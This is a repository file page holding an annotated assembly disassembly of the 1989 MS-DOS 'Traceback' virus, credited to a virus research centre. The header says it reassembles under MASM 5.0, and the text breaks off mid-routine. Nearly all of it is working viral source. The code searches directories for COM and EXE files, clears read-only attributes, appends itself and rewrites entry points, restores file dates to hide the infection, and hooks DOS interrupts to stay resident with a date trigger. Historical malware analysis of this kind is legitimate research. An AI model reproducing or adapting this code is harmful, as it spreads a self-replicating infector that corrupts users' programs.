MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.tracebck.asm
2021-01-12 18:01:59 -06:00

1304 lines
39 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

page 65,132
title The 'Traceback' Virus
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º British Computer Virus Research Centre º
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
; º º
; º The 'Traceback' Virus º
; º Disassembled by Joe Hirst, June 1989 º
; º º
; º Copyright (c) Joe Hirst 1989. º
; º º
; º This listing is only to be made available to virus researchers º
; º or software writers on a need-to-know basis. º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; The disassembly has been tested by re-assembly using MASM 5.0.
BOOT SEGMENT AT 0
ORG 24H
BW0024 DW ? ; Int 9 offset
BW0026 DW ? ; Int 9 segment
ORG 70H
BW0070 DW ? ; Int 1CH offset
BW0072 DW ? ; Int 1CH segment
ORG 80H
BD0080 EQU THIS DWORD
BW0080 DW ? ; Int 20H offset
BW0082 DW ? ; Int 20H segment
BW0084 DW ? ; Int 21H offset
BW0086 DW ? ; Int 21H segment
ORG 90H
BW0090 DW ? ; Int 24H offset
BW0092 DW ? ; Int 24H segment
ORG 9CH
BD009C EQU THIS DWORD
BW009C DW ? ; Int 27H offset
BW009E DW ? ; Int 27H segment
ORG 449H
BB0449 DB ? ; Current VDU mode
BOOT ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE
DW0000 DW 02EEBH ; \ Stored start of host program
DB0002 DB 090H ; /
DB0003 DB 0FFH
DB0004 DB 0FBH ; Infection countdown
DD0005 EQU THIS DWORD
DW0005 DW 100H
DW0007 DW 0CBBH
DW0009 DW 4DH
DB000B DB 0, 0
DB000D DB 0EBH, 2EH, 90H, 0FFH, 0FFH, 6CH, 6CH
DB0014 DB 'o - Copyright S & S E', 29 DUP (0)
CURDIR DB 0, 'PLIC', 60 DUP (0) ; Current directory
DTAFLE DB 3, '????????COM ', 2, 0, 0, 0, 'c:\m '
DB 1AH, 0, 0AFH, 0AH, 95H, 58H, 0, 0
DB 'COMMAND.COM', 3 DUP (0)
DTADIR DB 1, '???????????', 10H, 5, 7 DUP (0)
DB 20H, 0E9H, 11H, 0B5H, 12H, 0F6H, 48H, 2, 0
DB 'CAT-TWO.ARC', 0, 0, 0
DB00DF DB 0
SEGREG DW 0AEBH
PTHDSK DB 2 ; Pathname drive
CURDSK DB 2 ; Current disk
ATTR_F DW 0020H ; File attributes
TIME_F DW 22B6H ; File time
DATE_F DW 1174H ; File date
I24_OF DW 04EBH ; Old Int 24H offset
I24_SG DW 0A17H ; Old Int 24H segment
CRTERR DB 0 ; Critical error flag
F_HAND DW 0 ; File handle
F_TIME DW 5951H ; File time
F_DATE DW 0F8BH ; File date
F_ATTR DW 0020H ; File attributes
V_SIGN DB 056H, 047H, 031H ; Virus signature
; Entry point
BP0010: JMP SHORT BP0020
DW SIGNAT
BP0020: CALL BP0640 ; Get relocation constant in SI
CALL BP0600 ; Set Int 24H vector
MOV AH,19H ; Get current disk function
INT 21H ; DOS service
MOV PTH_OF[SI],SI ; \ Address of pathname
ADD PTH_OF[SI],OFFSET DB0884 ; /
MOV PTH_SG[SI],CS ; Segment of pathname
MOV CURDSK[SI],AL ; Save current disk
CALL BP0510 ; Get installed virus segment
MOV DL,PTHDSK[DI] ; Get pathname drive in installed virus
MOV AX,DS ; Get segment in installed virus
PUSH CS ; \ Set DS to CS
POP DS ; /
JNZ BP0030 ; Branch if not installed
MOV PTH_OF[SI],OFFSET DB0884+100H ; Pathname in installed virus
MOV PTH_SG[SI],AX ; Segment in installed virus
CMP DL,0FFH ; Is there a pathname drive?
JE BP0030 ; Branch if not
MOV AH,0EH ; Select disk function
INT 21H ; DOS service
BP0030: MOV BYTE PTR SWTCHB[SI],80H ; Set on switch eight
MOV F_HAND[SI],0 ; Clear file handle
MOV AH,2AH ; Get date function
INT 21H ; DOS service
CMP CX,07C4H ; Is year 1988?
JGE BP0040 ; Branch if not before
JMP SHORT BP0070
PTH_OF DW 0F8CH ; Offset of pathname
PTH_SG DW 0AEBH ; Segment of pathname
ISWTCH DB 0 ; Infected file switch
; 1988 or later
BP0040: JG BP0050 ; Branch if after 1988
CMP DH,0CH ; Is month December?
JL BP0070 ; Branch if not
CMP DL,5 ; 5th of December?
JL BP0070 ; Branch if before
CMP DL,1CH ; 28th of December?
JL BP0060 ; Branch if before
BP0050: MOV DSPCNT[SI],0FFDCH ; Start display count (60 mins)
MOV BYTE PTR SWTCHB[SI],88H ; Switches four & eight
BP0060: CMP DB0004[SI],0F8H ; Has infection count reached target?
JNB BP0080 ; Branch if not
ASSUME DS:NOTHING
BP0070: MOV CRTERR[SI],0 ; Clear critical error flag
JMP BP0270
; Unreachable code
ASSUME DS:CODE
CMP DB0004[SI],0F8H ; Has infection count reached target?
JNB BP0080 ; Branch if not
OR BYTE PTR SWTCHB[SI],4 ; Set on switch three
BP0080: MOV DB00DF[SI],0 ; Set not-first-time switch off
MOV DX,PTH_OF[SI] ; Get pathname offset
MOV DS,PTH_SG[SI] ; Get pathname segment
MOV AX,4300H ; Get attributes function
CALL BP0230 ; Perform a DOS service
JB BP0090 ; Branch if error
ASSUME DS:NOTHING
MOV F_ATTR[SI],CX ; Save file attributes
AND CL,0FEH ; Switch off read-only
MOV AX,4301H ; Set attributes function
CALL BP0230 ; Perform a DOS service
JB BP0090 ; Branch if error
MOV AX,3D02H ; Open handle R/W function
INT 21H ; DOS service
JB BP0090 ; Branch if error
PUSH CS ; \ Set DS to CS
POP DS ; /
ASSUME DS:CODE
MOV F_HAND[SI],AX ; Save file handle
MOV BX,AX ; Move file handle
MOV AX,5700H ; Get file date and time function
INT 21H ; DOS service
MOV F_TIME[SI],CX ; Save file time
MOV F_DATE[SI],DX ; Save file date
DEC DB0004[SI] ; Decrement infection count
MOV DX,FLENLO[SI] ; Get file length, low word
MOV CX,FLENHI[SI] ; Get file length, high word
ADD DX,OFFSET DB0004 ; \ Add to length
ADC CX,0 ; /
MOV AX,4200H ; Move file pointer (start) function
INT 21H ; DOS service
BP0090: PUSH CS ; \ Set DS to CS
POP DS ; /
TEST BYTE PTR SWTCHB[SI],4 ; Test switch three
JZ BP0100 ; Branch if off
CALL BP0330 ; Write infection count
JMP BP0270
; Change directory to root
BP0100: XOR DL,DL ; Default drive
MOV AH,47H ; Get current directory function
PUSH SI
ADD SI,46H ; Address directory store
INT 21H ; DOS service
POP SI
CMP CRTERR[SI],0 ; Test critical error flag
JNE BP0110 ; Branch if set
CALL BP0250 ; Make root dir current dir
JNB BP0120 ; Branch if no error
BP0110: JMP BP0070
; Find COM files
BP0120: MOV DX,SI ; \ Address DTA area
ADD DX,OFFSET DTAFLE ; /
MOV AH,1AH ; Set DTA function
INT 21H ; DOS service
MOV [SI+5],'.*' ; \
MOV [SI+7],'OC' ; ) '*.COM'
MOV WORD PTR [SI+9],'M' ; /
MOV AH,4EH ; Find first file function
MOV DX,SI ; \ Address file spec
ADD DX,5 ; /
BP0130: MOV CX,0020H ; Attributes - archive
CALL BP0230 ; Perform a DOS service
JB BP0160 ; Move on to EXE files
MOV DX,SI ; \ Address filename in DTA
ADD DX,OFFSET DTAFLE+1EH ; /
MOV ISWTCH[SI],0 ; Set infected file switch off
CALL BP0350 ; Process file
JB BP0150 ; Error or infected file found
CALL BP0330 ; Write infection count
BP0140: JMP BP0260
BP0150: CMP CRTERR[SI],0 ; Test critical error flag
JNE BP0140 ; Branch if set
CMP ISWTCH[SI],0 ; Test infected file switch
JNE BP0200 ; Branch if on
MOV AH,4FH ; Find next file function
JMP BP0130
; Find EXE files
BP0160: MOV [SI+7],'XE' ; \ '*.EXE'
MOV WORD PTR [SI+9],'E' ; /
MOV AH,4EH ; Find first file function
MOV DX,SI ; \ Address file spec
ADD DX,5 ; /
BP0170: MOV CX,0020H ; Attributes - archive
CALL BP0230 ; Perform a DOS service
JB BP0200 ; No more files
MOV DX,SI ; \ Address filename in DTA
ADD DX,OFFSET DTAFLE+1EH ; /
MOV ISWTCH[SI],0 ; Set infected file switch off
CALL BP0350 ; Process file
JB BP0190 ; Error or infected file found
CALL BP0330 ; Write infection count
BP0180: JMP BP0260
ASSUME DS:NOTHING
BP0190: CMP CRTERR[SI],0 ; Test critical error flag
JNE BP0180 ; Branch if set
ASSUME DS:CODE
CMP ISWTCH[SI],0 ; Test infected file switch
JNE BP0200 ; Branch if on
MOV AH,4FH ; Find next file function
JMP BP0170
BP0200: CALL BP0250 ; Make root dir current dir
MOV DX,SI ; \ Address 2nd DTA
ADD DX,OFFSET DTADIR ; /
MOV AH,1AH ; Set DTA function
INT 21H ; DOS service
BP0210: MOV AH,4FH ; Find next file function
MOV CX,0010H ; Find directories
CMP DB00DF[SI],0 ; First time?
JNE BP0220 ; Branch if not
MOV DB00DF[SI],1 ; Set not-first-time switch
MOV [SI+5],'.*' ; \ '*.*'
MOV WORD PTR [SI+7],'*' ; /
MOV AH,4EH ; Find first file function
MOV DX,SI ; \ Address file spec
ADD DX,5 ; /
BP0220: CALL BP0230 ; Perform a DOS service
JB BP0260 ; No more files
TEST DTADIR[SI+15H],10H ; Is it a directory?
JZ BP0210 ; Branch if not
MOV DX,SI ; \ Address file name in DTA
ADD DX,OFFSET DTADIR+1EH ; /
MOV AH,3BH ; Change current directory function
CALL BP0230 ; Perform a DOS service
JB BP0260 ; Branch if error
JMP BP0120 ; Look for COM files
; Perform a DOS service
BP0230: INT 21H ; DOS service
JB BP0240 ; Branch if error
ASSUME DS:NOTHING
TEST CRTERR[SI],0FFH ; Test critical error flag
JZ BP0240 ; Branch if not set
STC
BP0240: RET
; Make root dir current dir
BP0250: MOV WORD PTR [SI+5],'\' ; Root dir
MOV DX,SI ; \ Address root dir pathname
ADD DX,5 ; /
MOV AH,3BH ; Change current directory function
CALL BP0230 ; Perform a DOS service
RET
ASSUME DS:CODE
BP0260: CALL BP0250 ; Make root dir current dir
MOV DX,SI ; \ Address
ADD DX,46H ; /
MOV AH,3BH ; Change current directory function
INT 21H ; DOS service
BP0270: MOV BX,F_HAND[SI] ; Get file handle
OR BX,BX ; Test for a handle
JZ BP0290 ; Branch if none
MOV CX,F_ATTR[SI] ; Get file attributes
MOV DX,PTH_OF[SI] ; Get pathname offset
MOV DS,PTH_SG[SI] ; Get pathname segment
CMP CX,20H ; Are attributes archive?
JE BP0280 ; Branch if yes
MOV AX,4301H ; Set attributes function
INT 21H ; DOS service
BP0280: PUSH CS ; \ Set DS to CS
POP DS ; /
MOV CX,F_TIME[SI] ; Get file time
MOV DX,F_DATE[SI] ; Get file date
MOV AX,5701H ; Set file date and time function
INT 21H ; DOS service
MOV AH,3EH ; Close handle function
INT 21H ; DOS service
BP0290: MOV DL,CURDSK[SI] ; Get current disk
MOV AH,0EH ; Select disk function
INT 21H ; DOS service
CALL BP0610 ; Restore Int 24H vector
POP AX ; ?
MOV SEGREG[SI],AX ; Save segment
CMP BYTE PTR [SI+3],0FFH ; Should virus be installed?
JE BP0300 ; Branch if yes
ADD AX,0010H ; Add PSP length to segment
ADD WORD PTR [SI+2],AX ; Store segment
POP AX ; ?
POP DS ; ?
JMP DWORD PTR CS:[SI] ; Branch to ?
; Install resident copy of virus
BP0300: CALL BP0510 ; Get installed virus segment
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV AX,[SI] ; \ Replace first word of host
MOV DW0000+100H,AX ; /
MOV AL,[SI+2] ; \ Replace third byte of host
MOV DB0002+100H,AL ; /
JZ BP0310 ; Branch if installed
MOV BX,DS ; Get current segment
ADD BX,01D0H ; Add length of installed segment
MOV ES,BX ; Segment to copy to
MOV DI,SI ; Start of virus
MOV DX,SI ; Copy relocation factor
MOV CX,OFFSET ENDADR ; Length of virus
CALL BP1160 ; Copy virus and transfer control
MOV CX,DX ; Relocation factor (as length)
MOV SI,DX ; Relocation factor as source
DEC SI ; Back one byte
MOV DI,SI ; Same offset as target
STD ; Going backwards
REPZ MOVSB ; Copy host program
PUSH DS ; \ Set ES to DS
POP ES ; /
MOV DI,0100H ; Target following PSP
MOV DS,BX ; Current segment as source
MOV SI,DX ; Start of virus
MOV CX,OFFSET ENDADR ; Length of virus
CALL BP1160 ; Copy virus and transfer control
MOV SI,0100H ; New relocation factor
PUSH CS ; \ Set DS to CS
POP DS ; /
CALL BP0580 ; Install interrupts
MOV DX,01D0H ; Get length of installed segment
BP0310: MOV DI,CS ; \ New segment for host
ADD DI,DX ; /
MOV WORD PTR [SI+5],0100H ; Host offset
MOV [SI+7],DI ; Host segment
POP AX ; ?
POP DS ; ?
MOV DS,DI ; \
MOV ES,DI ; ) Set up other segment registers
MOV SS,DI ; /
XOR BX,BX ; Clear register
XOR CX,CX ; Clear register
XOR BP,BP ; Clear register
JMP DWORD PTR CS:[SI+5] ; Branch to host program
; Clear error flag and return
ASSUME DS:NOTHING
BP0320: MOV CRTERR[SI],0 ; Clear critical error flag
RET
; Write infection count
ASSUME DS:CODE
BP0330: MOV BX,F_HAND[SI] ; Get file handle
OR BX,BX ; Test for a handle
JZ BP0340 ; Branch if none
MOV DX,SI ; \ Address infection count
ADD DX,OFFSET DB0004 ; /
MOV CX,1 ; Length to write
MOV AH,40H ; Write handle function
INT 21H ; DOS service
BP0340: RET
; Process file
BP0350: PUSH DX
MOV AH,19H ; Get current disk function
INT 21H ; DOS service
ADD AL,'A' ; Convert to letter
MOV AH,':' ; Disk separator
MOV WORD PTR DB0884[SI],AX ; Disk in pathname
MOV BYTE PTR DB0884[SI+2],'\' ; Root directory in pathname
PUSH SI
ADD SI,OFFSET DB0884+3 ; Address next position in pathname
MOV AH,47H ; Get current directory function
MOV DI,SI ; Buffer area
XOR DL,DL ; Default drive
INT 21H ; DOS service
POP SI
DEC DI ; Back one character
BP0360: INC DI ; Next character
MOV AL,[DI] ; Get character
OR AL,AL ; Is it zero
JNZ BP0360 ; Branch if not
POP BX
MOV BYTE PTR [DI],'\' ; Store directory separator
INC DI ; Next position
MOV DX,BX ; Copy filename pointer
BP0370: MOV AL,[BX] ; Get character
MOV [DI],AL ; Store in pathname
INC BX ; Next input position
INC DI ; Next output position
OR AL,AL ; End of filename?
JNZ BP0370 ; Next character if not
BP0380: MOV AX,4300H ; Get attributes function
CALL BP0230 ; Perform a DOS service
JB BP0320 ; Branch if error
ASSUME DS:NOTHING
MOV ATTR_F[SI],CX ; Save attributes
AND CX,00FEH ; Set off read only
MOV AX,4301H ; Set attributes function
CALL BP0230 ; Perform a DOS service
JB BP0320 ; Branch if error
MOV AX,3D02H ; Open handle R/W function
CALL BP0230 ; Perform a DOS service
JB BP0320 ; Branch if error
MOV BX,AX ; Move handle
PUSH DS
PUSH DX
CALL BP0400 ; Infect file if not infected
POP DX
POP DS
PUSHF
MOV CX,ATTR_F[SI] ; Get attributes
CMP CX,20H ; Archive only?
JE BP0390 ; Branch if yes
MOV AX,4301H ; Set attributes function
INT 21H ; DOS service
BP0390: MOV CX,TIME_F[SI] ; Get file time
MOV DX,DATE_F[SI] ; Get file date
MOV AX,5701H ; Set file date and time function
INT 21H ; DOS service
MOV AH,3EH ; Close handle function
INT 21H ; DOS service
POPF
RET
; Infect file if not infected
BP0400: MOV AX,5700H ; Get file date and time function
INT 21H ; DOS service
PUSH CS ; \ Set DS to CS
POP DS ; /
ASSUME DS:CODE
MOV TIME_F[SI],CX ; Save file time
MOV DATE_F[SI],DX ; Save file date
MOV DX,SI ; \ Address buffer
ADD DX,0DH ; /
MOV DI,DX ; Copy this address
MOV AH,3FH ; Read handle function
MOV CX,001CH ; EXE header length
INT 21H ; DOS service
CMP WORD PTR [DI],'ZM' ; EXE header?
JE BP0430 ; Branch if yes
CALL BP0500 ; Move pointer to end of file
ADD AX,OFFSET SIGNAT+100H ; Add length of virus
JB BP0410 ; Branch if too big for a COM
CMP BYTE PTR [DI],0E9H ; Does it start with a near jump?
JNE BP0420 ; Branch if not
MOV DX,[DI+1] ; Get displacement from jump
XOR CX,CX ; Clear top
MOV AX,4200H ; Move file pointer (start) function
INT 21H ; DOS service
MOV DX,DI ; Read buffer
ADD DX,001CH ; Add length of EXE header
MOV AH,3FH ; Read handle function
MOV CX,3 ; Length to read
INT 21H ; DOS service
CALL BP0440 ; Test virus signature on file
JNB BP0420 ; Branch if not present
ASSUME DS:NOTHING
MOV ISWTCH[SI],1 ; Set infected file switch on
BP0410: RET
ASSUME DS:CODE
BP0420: CALL BP0500 ; Move pointer to end of file
MOV FLENLO[SI],AX ; Save file length, low word
MOV FLENHI[SI],DX ; Save file length, high word
PUSH AX
MOV WORD PTR [DI+3],0FFFFH ; Initialise count
MOV CX,5 ; Length to write
MOV AH,40H ; Write handle function
MOV DX,DI ; Address start of buffer
INT 21H ; DOS service
MOV DX,SI ; \ Address start of virus
ADD DX,5 ; /
MOV CX,OFFSET SIGNAT ; Length of virus
MOV AH,40H ; Write handle function
INT 21H ; DOS service
MOV AX,4200H ; Move file pointer (start) function
XOR CX,CX ; \ No displacement
XOR DX,DX ; /
INT 21H ; DOS service
MOV BYTE PTR [DI],0E9H ; Near jump instruction
POP AX ; Recover length of file
ADD AX,OFFSET BP0010-3 ; Jump offset to entry point
MOV [DI+1],AX ; Store in jump instruction
MOV DX,DI ; Address of jump instruction
MOV CX,3 ; Length to write
MOV AH,40H ; Write handle function
INT 21H ; DOS service
CLC
RET
; EXE file
BP0430: CMP WORD PTR [DI+0CH],0FFFFH ; Is max alloc asking for maximum?
JNE BP0450 ; Branch if not
PUSH SI
MOV SI,[DI+14H] ; Get initial offset
MOV CX,[DI+16H] ; Get initial segment
MOV AX,CX ; Copy segment
MOV CL,CH ; Move top byte down
XOR CH,CH ; Clear top
SHR CX,1 ; \
SHR CX,1 ; \ Move top nibble into position
SHR CX,1 ; /
SHR CX,1 ; /
SHL AX,1 ; \
SHL AX,1 ; \ Move rest of segment
SHL AX,1 ; /
SHL AX,1 ; /
ADD SI,AX ; \ Add to offset
ADC CX,0 ; /
SUB SI,3 ; \ Subtract length of signature
SBB CX,0 ; /
MOV AX,[DI+8] ; Get size of header
CALL BP0490 ; Move segment to two-register offset
ADD SI,AX ; \ Add to starting position
ADC CX,DX ; /
MOV DX,SI ; Move low word
POP SI
MOV AX,4200H ; Move file pointer (start) function
INT 21H ; DOS service
MOV DX,DI ; Address buffer
ADD DX,001CH ; Add length of EXE header
MOV AH,3FH ; Read handle function
MOV CX,3 ; Length to read
INT 21H ; DOS service
CALL BP0440 ; Test virus signature on file
JNB BP0480 ; Branch if not present
ASSUME DS:NOTHING
MOV ISWTCH[SI],1 ; Set infected file switch on
RET
; Test virus signature on file
BP0440: CMP WORD PTR [DI+1CH],4756H ; Look for virus signature
JNE BP0470 ; Branch if not found
CMP BYTE PTR [DI+1EH],31H ; Look for rest of signature
JNE BP0470 ; Branch if not found
BP0450: STC
BP0460: RET
BP0470: CLC
RET
; Infect EXE file
ASSUME DS:CODE
BP0480: CALL BP0500 ; Move pointer to end of file
MOV FLENLO[SI],AX ; Save file length, low word
MOV FLENHI[SI],DX ; Save file length, high word
MOV CX,[DI+4] ; Get size of file in pages
SHL CX,1 ; Multiply by two
XCHG CH,CL ; Reverse bytes
MOV BP,CX ; Copy
AND BP,0FF00H ; Convert to bytes (low word)
XOR CH,CH ; Convert to bytes (high word)
ADD BP,[DI+6] ; \ Add number of relocation entries
ADC CX,0 ; /
SUB BP,AX ; \ Subtract current length
SBB CX,DX ; /
JB BP0460 ; Branch if overlay
PUSH AX ; Save length of host, low word
PUSH DX ; Save length of host, high word
PUSH [DI+18H] ; Save offset to relocation table
MOV BYTE PTR [DI+18H],0FFH ; Original entry address marker
MOV CX,5 ; Length to write
MOV AH,40H ; Write handle function
MOV DX,DI ; \ Address host entry address
ADD DX,14H ; /
INT 21H ; DOS service
POP [DI+18H] ; Recover offset to relocation table
MOV DX,SI ; \ Address start of virus
ADD DX,5 ; /
MOV CX,OFFSET SIGNAT ; Length of virus
MOV AH,40H ; Write handle function
INT 21H ; DOS service
MOV AX,4200H ; Move file pointer (start) function
XOR CX,CX ; \ No displacement
XOR DX,DX ; /
INT 21H ; DOS service
POP [DI+16H] ; Recover length of host, high word
POP [DI+14H] ; Recover length of host, low word
ADD WORD PTR [DI+14H],00FAH ; \ Add entry point
ADC WORD PTR [DI+16H],0 ; /
MOV AX,[DI+8] ; Get size of header
CALL BP0490 ; Move segment to two-register offset
SUB [DI+14H],AX ; \ Subtract size of header
SBB [DI+16H],DX ; /
MOV CL,0CH ; Bits to move
SHL WORD PTR [DI+16H],CL ; Convert high word to segment
MOV AX,OFFSET ENDADR ; Length of virus
ADD AX,[DI+2] ; Add bytes in last paragraph
MOV [DI+2],AX ; Store new figure
AND [DI+2],01FFH ; Set off top bits
MOV AL,AH ; Copy high byte
XOR AH,AH ; Clear top of register
SHR AX,1 ; Divide by two
ADD [DI+4],AX ; Add to pages
MOV DX,DI ; Move address of EXE header
MOV CX,001CH ; EXE header length
MOV AH,40H ; Write handle function
INT 21H ; DOS service
CLC
RET
; Move segment to two-register offset
BP0490: XOR DX,DX ; Clear register
SHL AX,1 ; \ Move double one bit
RCL DX,1 ; /
SHL AX,1 ; \ Move double one bit
RCL DX,1 ; /
SHL AX,1 ; \ Move double one bit
RCL DX,1 ; /
SHL AX,1 ; \ Move double one bit
RCL DX,1 ; /
RET
; Move pointer to end of file
BP0500: XOR DX,DX ; \ No displacement
XOR CX,CX ; /
MOV AX,4202H ; Move file pointer (EOF) function
INT 21H ; DOS service
RET
; Get installed virus segment
BP0510: XOR AX,AX ; \ Address zero
MOV DS,AX ; /
LDS DI,BD009C ; Load Int 27H vector
LDS DI,[DI+1] ; Get vector from far jump
MOV AX,DI ; Save offset
SUB DI,OFFSET BP0780-V_SIGN ; Address from jump to old Int 27H
CALL BP0530 ; Test virus signature in memory
JZ BP0520 ; Branch if found
MOV DI,AX ; Retrieve offset
SUB DI,OFFSET BP0770-V_SIGN ; Address from new Int 27H routine
CALL BP0530 ; Test virus signature in memory
JZ BP0520 ; Branch if found
LDS DI,BD0080 ; Load Int 20H vector
LDS DI,[DI+1] ; Get vector from far jump
MOV AX,DI ; Save offset
SUB DI,OFFSET BP0630-V_SIGN ; Address from jump to old Int 20H
CALL BP0530 ; Test virus signature in memory
JZ BP0520 ; Branch if found
MOV DI,AX ; Retrieve offset
SUB DI,OFFSET BP0620-V_SIGN ; Address from new Int 27H routine
CALL BP0530 ; Test virus signature in memory
BP0520: RET
; Test virus signature in memory
BP0530: XOR DX,DX ; Clear register
CMP WORD PTR [DI],4756H ; Look for virus signature
JNE BP0540 ; Branch if not present
CMP BYTE PTR [DI+2],31H ; Look for rest of signature
JE BP0550 ; Branch if there
BP0540: INC DX ; Set no virus marker
BP0550: SUB DI,OFFSET V_SIGN ; Subtract offset of signature
OR DX,DX ; Test no virus marker
RET
; Create far jump
BP0560: MOV AL,0EAH ; Far jump
STOSB ; Store jump instruction
MOV AX,CX ; \ Address routine
ADD AX,SI ; /
STOSW ; Store offset
MOV AX,CS ; Get segment
STOSW ; Store segment
BP0570: RET
; Install interrupts
BP0580: OR DX,DX
JZ BP0570 ; Dont install if yes
PUSH DS
PUSH ES
MOV ES,SEGREG[SI] ; Get segment register
MOV DI,00ECH ; Address far jump table
CLD
MOV CX,OFFSET BP0880 ; Int 1CH routine
CALL BP0560 ; Create Int 1CH far jump
MOV CX,OFFSET BP0620 ; Int 20H routine
CALL BP0560 ; Create Int 20H far jump
MOV CX,OFFSET BP0700 ; Int 21H routine
CALL BP0560 ; Create Int 21H far jump
MOV CX,OFFSET BP0770 ; Int 27H routine
CALL BP0560 ; Create Int 27H far jump
XOR AX,AX ; \ Address zero
MOV DS,AX ; /
ASSUME DS:BOOT
CLI
MOV AX,00ECH ; Address Int 1CH far jump
XCHG AX,BW0070 ; Install as Int 1CH offset
MOV CS:I1C_OF[SI],AX ; Save old Int 1CH offset
MOV AX,ES ; Get this segment
XCHG AX,BW0072 ; Install as Int 1CH segment
MOV CS:I1C_SG[SI],AX ; Save old Int 1CH segment
MOV AX,00F1H ; Address Int 20H far jump
XCHG AX,BW0080 ; Install as Int 20H offset
MOV CS:I20_OF[SI],AX ; Save old Int 20H offset
MOV AX,ES ; Get this segment
XCHG AX,BW0082 ; Install as Int 20H segment
MOV CS:I20_SG[SI],AX ; Save old Int 20H segment
MOV AX,00F6H ; Address Int 21H far jump
XCHG AX,BW0084 ; Install as Int 21H offset
MOV CS:I21_OF[SI],AX ; Save old Int 21H offset
MOV AX,ES ; Get this segment
XCHG AX,BW0086 ; Install as Int 21H segment
MOV CS:I21_SG[SI],AX ; Save old Int 21H segment
MOV AX,00FBH ; Address Int 27H far jump
XCHG AX,BW009C ; Install as Int 27H offset
MOV CS:I27_OF[SI],AX ; Save old Int 27H offset
MOV AX,ES ; Get this segment
XCHG AX,BW009E ; Install as Int 27H segment
MOV CS:I27_SG[SI],AX ; Save old Int 27H segment
POP ES
POP DS
STI
RET
; Reset interrupts
ASSUME DS:CODE
BP0590: PUSH ES
MOV ES,SEGREG[SI] ; Get segment register
MOV DI,00F1H ; Address far jump table (2nd entry)
CLD
MOV CX,OFFSET BP0630 ; Jump to old Int 20H
CALL BP0560 ; Create Int 20H far jump
MOV CX,OFFSET BP0720 ; Alternate Int 21H routine
CALL BP0560 ; Create Int 21H far jump
MOV CX,OFFSET BP0780 ; Jump to old Int 27H
CALL BP0560 ; Create Int 27H far jump
POP ES
RET
; Set Int 24H vector
BP0600: PUSH ES
XOR AX,AX ; \ Address zero
MOV ES,AX ; /
ASSUME ES:BOOT
MOV AX,OFFSET BP0790 ; \ Interrupt 24H routine
ADD AX,SI ; /
XCHG AX,BW0090 ; Install as Int 24H offset
MOV I24_OF[SI],AX ; Save old Int 24H offset
MOV AX,CS ; Get this segment
XCHG AX,BW0092 ; Install as Int 24H segment
MOV I24_SG[SI],AX ; Save old Int 24H segment
POP ES
MOV CRTERR[SI],0 ; Clear critical error flag
RET
; Restore Int 24H vector
ASSUME DS:NOTHING
BP0610: PUSH ES
XOR AX,AX ; \ Address zero
MOV ES,AX ; /
MOV AX,I24_OF[SI] ; Get old Int 24H offset
MOV BW0090,AX ; Restore Int 24H offset
MOV AX,I24_SG[SI] ; Get old Int 24H segment
MOV BW0092,AX ; Restore Int 24H segment
POP ES
ASSUME ES:NOTHING
RET
; Interrupt 20H routine
BP0620: JMP BP0680
; Interrupt 20H - jump to original routine
BP0630: DB 0EAH ; Far jump to Int 20H
I20_OF DW 0136CH ; Original Int 20H offset
I20_SG DW 00291H ; Original Int 20H segment
; Get relocation constant in SI
BP0640: POP BX ; Get return address
PUSH DS
PUSH AX
PUSH DS
PUSH CS ; \ Set DS to CS
POP DS ; /
ASSUME DS:CODE
CALL BP0650 ; \ Get current address
BP0650: POP SI ; /
SUB SI,OFFSET BP0650 ; Subtract displacement from it
JMP BX ; Branch to return address
; Free or allocate memory functions
BP0660: CALL BP0640 ; Get relocation constant in SI
PUSH CX
MOV AX,[SI+7] ; Get host segment
MOV CX,ES ; Get relevant segment
CMP AX,CX ; Are they the same?
POP CX
POP DS
POP AX
JNE BP0670 ; Branch if different
PUSH CS ; \ Set ES to CS
POP ES ; /
CMP AH,49H ; Free memory?
JE BP0670 ; Branch if yes
ADD BX,01D0H ; Add length of installed segment
BP0670: POP DS
JMP BP0710 ; Pass on to old Int 21H
; Program termination (Int 20H, or functions 0 or 4CH)
BP0680: XOR DX,DX ; Nothing to keep
BP0690: CALL BP0640 ; Get relocation constant in SI
PUSH ES
PUSH DX
CLI
CALL BP0590 ; Reset interrupts
STI
POP AX
MOV DX,01D0H ; Length of installed segment
ADD DX,AX ; Add length for host
ADD DX,10H ; Add PSP length (?)
POP ES
POP DS
POP AX
POP DS
MOV AH,31H ; Keep process function
JMP SHORT BP0710 ; Pass on to old Int 21H
; Interrupt 21H routine
BP0700: CMP AH,4CH ; \ End process function?
JE BP0680 ; /
CMP AH,31H ; \ Keep process function?
JE BP0690 ; /
OR AH,AH ; \ Terminate program function?
JZ BP0680 ; /
CMP AH,49H ; \ Free allocated memory function?
JE BP0660 ; /
CMP AH,4AH ; \ Set block function?
JE BP0660 ; /
CMP AH,4BH ; \ Load function?
JE BP0730 ; /
BP0710: DB 0EAH ; Far jump to Int 21H
I21_OF DW 0138DH ; Original Int 21H offset
I21_SG DW 00291H ; Original Int 21H segment
; Alternate Interrupt 21H - only intercept load
BP0720: CMP AH,4BH ; Load function?
JNE BP0710 ; Branch if not
BP0730: PUSH CX
PUSH DX
PUSH ES
PUSH BX
PUSH SI
PUSH DI
PUSH BP
CALL BP0640 ; Get relocation constant in SI
CALL BP0600 ; Set Int 24H vector
BP0740: STI
TEST BYTE PTR SWTCHB+100H,2 ; Test switch two
JNZ BP0740 ; Branch if on
CLI
TEST BYTE PTR SWTCHB+100H,2 ; Test switch two
JNZ BP0740 ; Branch if on
OR BYTE PTR SWTCHB+100H,2 ; Set on switch two
POP DS
ASSUME DS:NOTHING
MOV BX,DX ; Pathname pointer
